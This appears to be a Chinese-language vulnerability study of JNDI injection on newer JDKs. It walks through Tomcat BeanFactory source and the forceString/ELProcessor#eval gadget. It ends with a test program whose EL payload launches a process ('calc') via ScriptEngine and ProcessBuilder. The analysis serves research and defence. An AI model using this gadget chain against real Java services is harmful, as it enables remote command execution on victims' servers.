限制内容:
SQL JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。 |
---|
什么是远程codebase?
“远程 codebase”指的是通过网络从远程服务器加载 Java 类文件或其他资源的一种机制。它通常涉及使用 java.rmi、LDAP、HTTP 等协议,将类文件或代码从远程位置下载并在本地执行。
JNDI工作原理
jndi服务端 是传递一个Reference对象 然后客户端根据它获取远程类工厂factory,这个类工厂负责加载远程代码
在限制条件下ObjectFactory 不能加载远程代码了,但其还有一个机制是先双亲委派从本地加载类,如果本地加载不到,从codebase加载
也就是说如果服务端返回的Reference 对象指向的工厂类在本地存在,就会加载本地类工厂,执行该类的getObjectInstance
远程类工厂和远程类是什么关系?
远程类工厂:是一个用于创建远程类实例的工厂,它将创建远程对象的细节封装起来,客户端通过它来创建远程对象的实例。
远程类:是实际实现远程操作的类,客户端通过创建远程类的实例并调用其方法来执行远程服务。
假设有一个远程计算服务,服务端实现了一个计算器类RemoteCalculator(远程类),它提供了加法、减法等远程方法。为了让客户端能够使用这个服务,服务端可能会通过 JNDI 将一个远程类工厂 CalculatorFactory(远程类工厂)注册到 JNDI 中。客户端查询到 CalculatorFactory 后,使用它创建一个 RemoteCalculator 对象,并通过这个对象来执行远程计算。 |
---|
可利用的工厂类beanFactory
在绑定JNDI时,可以指定工厂类,beanFactory可以实例化类,该类的无参构造方法会被调用,同时还会根据stringaddr的内容调用指定方法
ResourceRefref=new ResourceRef(“恶意类”, null, “”, “”, true, “org.apache.naming.factory.BeanFactory(指定工厂类)”, null);
分析下面代码可知,valueArray作为方法参数,大小只有1,并且来着于value,同时被强转为string类型,所以被利用方法必须是一个参数为1个string的方法
beanFactory实例化类时的要求:
工厂类来完成对恶意类的加载
通过 ResourceRef,JNDI 系统会使用 BeanFactory 来实例化 ELProcessor 对象。BeanFactory 负责管理 ELProcessor 的生命周期,并在需要时提供实例。
具体会调用 BeanFactory 的 getObjectInstance 方法来完成实例化。
BeanFactory 的 getObjectInstance 方法分析
首先是加载ref类的部分
SQL public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws NamingException { // 检查传入的对象是否是 ResourceRef 实例 if (obj instanceof ResourceRef) { try { // 将 obj 强制转换为 Reference 类型 Reference ref = (Reference) obj; // 获取 Bean 类名(类名是存储在 ResourceRef 中的) String beanClassName = ref.getClassName(); // 初始化 beanClass 变量,用来保存类的 Class 对象 Class<?> beanClass = null; // 获取当前线程的上下文类加载器 ClassLoader tcl = Thread.currentThread().getContextClassLoader(); // 如果上下文类加载器不为空,则尝试用它加载类 if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { // 如果类没有找到,可以忽略错误(稍后会使用备用方法) } } else { // 如果上下文类加载器为空,则使用系统类加载器来加载类 try { beanClass = Class.forName(beanClassName); } catch(ClassNotFoundException e) { e.printStackTrace(); } } // 如果 beanClass 为空,说明无法找到指定的类,抛出 NamingException 异常 if (beanClass == null) { throw new NamingException(“Class not found: “ + beanClassName); } // 获取 Bean 的信息(JavaBean 的属性和方法) BeanInfo bi = Introspector.getBeanInfo(beanClass); // 获取 Bean 的所有属性描述器 PropertyDescriptor[] pda = bi.getPropertyDescriptors(); // 使用无参构造函数创建 Bean 的实例 Object bean = beanClass.getConstructor().newInstance(); }} |
---|
加载Ref类中的封装的类的数据,主要是通过ResourceRef 中名为 “forceString” 的 RefAddr 对象
SQL // 获取 ResourceRef 中名为 “forceString” 的 RefAddr 对象 RefAddr ra = ref.get(“forceString”); // 创建一个存储强制设置属性方法的 Map(key:属性名,value:方法) Map<String, Method> forced = new HashMap<>(); // 如果 “forceString” 属性存在,处理该属性 String value; if (ra != null) { // 获取 “forceString” 的内容,值是以逗号分隔的属性列表 value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; // 将每个属性和方法名解析并存入 forced Map for (String param: value.split(“,”)) { param = param.trim(); // 如果属性名中包含 ‘=’,则提取方法名,否则使用默认的标准 setter 名称 index = param.indexOf(‘=’); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = “set” + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } // 尝试获取对应的 setter 方法,如果找不到则抛出异常 try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException(“Forced String setter “ + setterName + “ not found for property “ + param); } } } // 获取 ResourceRef 中的所有 RefAddr 元素(每个 RefAddr 代表一个属性) Enumeration // 遍历所有 RefAddr 元素,并为每个属性设置值 while (e.hasMoreElements()) { // 获取当前的 RefAddr 对象 ra = e.nextElement(); // 获取属性的名称(即 RefAddr 的类型) String propName = ra.getType(); // 忽略某些特定的属性,如 “factory”、”scope”、”auth” 等 if (propName.equals(Constants.FACTORY) || propName.equals(“scope”) || propName.equals(“auth”) || propName.equals(“forceString”) || propName.equals(“singleton”)) { continue; } // 获取属性的值(即 RefAddr 的内容) value = (String)ra.getContent(); // 创建一个数组来存放属性值(因为 setter 方法要求传递参数数组) Object[] valueArray = new Object[1]; // 如果该属性有强制设置的 setter 方法,则通过反射调用该方法 Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException| IllegalArgumentException| InvocationTargetException ex) { throw new NamingException(“Forced String setter “ + method.getName() + “ threw exception for property “ + propName); } continue; } // 如果没有强制设置的 setter,则根据属性名构造标准的 setter 方法名,并调用它 setterName = “set” + propName.substring(0, 1).toUpperCase(Locale.ENGLISH) + propName.substring(1); try { Method method = beanClass.getMethod(setterName, String.class); valueArray[0] = value; method.invoke(bean, valueArray); } catch (NoSuchMethodException ex) { // 如果没有找到 setter 方法,则忽略该属性 } } // 返回创建的 bean 实例 return bean; } catch (Exception ex) { throw new NamingException(“Error creating bean instance: “ + ex.getMessage()); } } // 如果 obj 不是 ResourceRef 实例,抛出 NamingException throw new NamingException(“Invalid object type: “ + obj.getClass().getName()); } |
---|
被利用类需要满足的要求
根据上述的加载过程,得出内层利用需要满足条件:
类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String
满足上述要求的类的一种是:javax.el.ELProcessor#eval
原因可以从BeanFactory 的 getObjectInstance 方法得出,首先是类需要有无参构造函数,这点从实例化类时的方法可以得出,如果类无构造方法,getConstructor时便会报错
SQL Object bean = beanClass.getConstructor().newInstance(); |
---|
被利用方法需满足参数个数为1,参数类型为String
SQL value = (String)ra.getContent(); Object[] valueArray = new Object[1]; / Shortcut for properties with explicitly configured setter / Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); }………….. |
---|
调试流程追踪
测试代码
SQL package org.example; import org.apache.naming.ResourceRef; import org.apache.naming.factory.BeanFactory; import javax.naming.StringRefAddr; import java.lang.reflect.Method; import javax.el.ELProcessor; public class Main { public static void main(String[] args) { try { // 加载 BeanFactory 类 Class<?> BeanFactoryClass = Class.forName(“org.apache.naming.factory.BeanFactory”); Method method= BeanFactoryClass.getDeclaredMethod(“getObjectInstance”, java.lang.Object.class, javax.naming.Name.class, javax.naming.Context.class, java.util.Hashtable.class); //在反射中也需要new一下原类,反射调用的是方法,类仍需要原本的实例化 BeanFactory beanFactory=new BeanFactory(); //准备参数 java.lang.Object Object= null; javax.naming.Name name = null; javax.naming.Context context = null; java.util.Hashtable<String, String> environment = null; ResourceRef ref=new ResourceRef(“javax.el.ELProcessor”, null, “”, “”, true, “org.apache.naming.factory.BeanFactory”, null); ref.add(new StringRefAddr(“forceString”, “x=eval”)); ref.add(new StringRefAddr(“x”, “"".getClass().forName("javax.script.ScriptEngineManager").newInstance()” + “.getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[‘(java.lang.String[])’]” + “([‘calc’]).start()")”)); Object result = method.invoke(beanFactory, ref, name, context, environment); }catch (Exception e){ // 获取构造方法内部抛出的实际异常 Throwable cause = e.getCause(); // 获取根本原因 cause.printStackTrace(); // 打印堆栈跟踪信息 } } } |
---|
beanloadclass获取的就是利用类
首先获得forceString x,然后Method method = forced.get(propName);得到eval方法
踩坑
这两个包是不同的东西,如果是下面这个包,ELProcess就会没有无参构造方法然后导致利用失败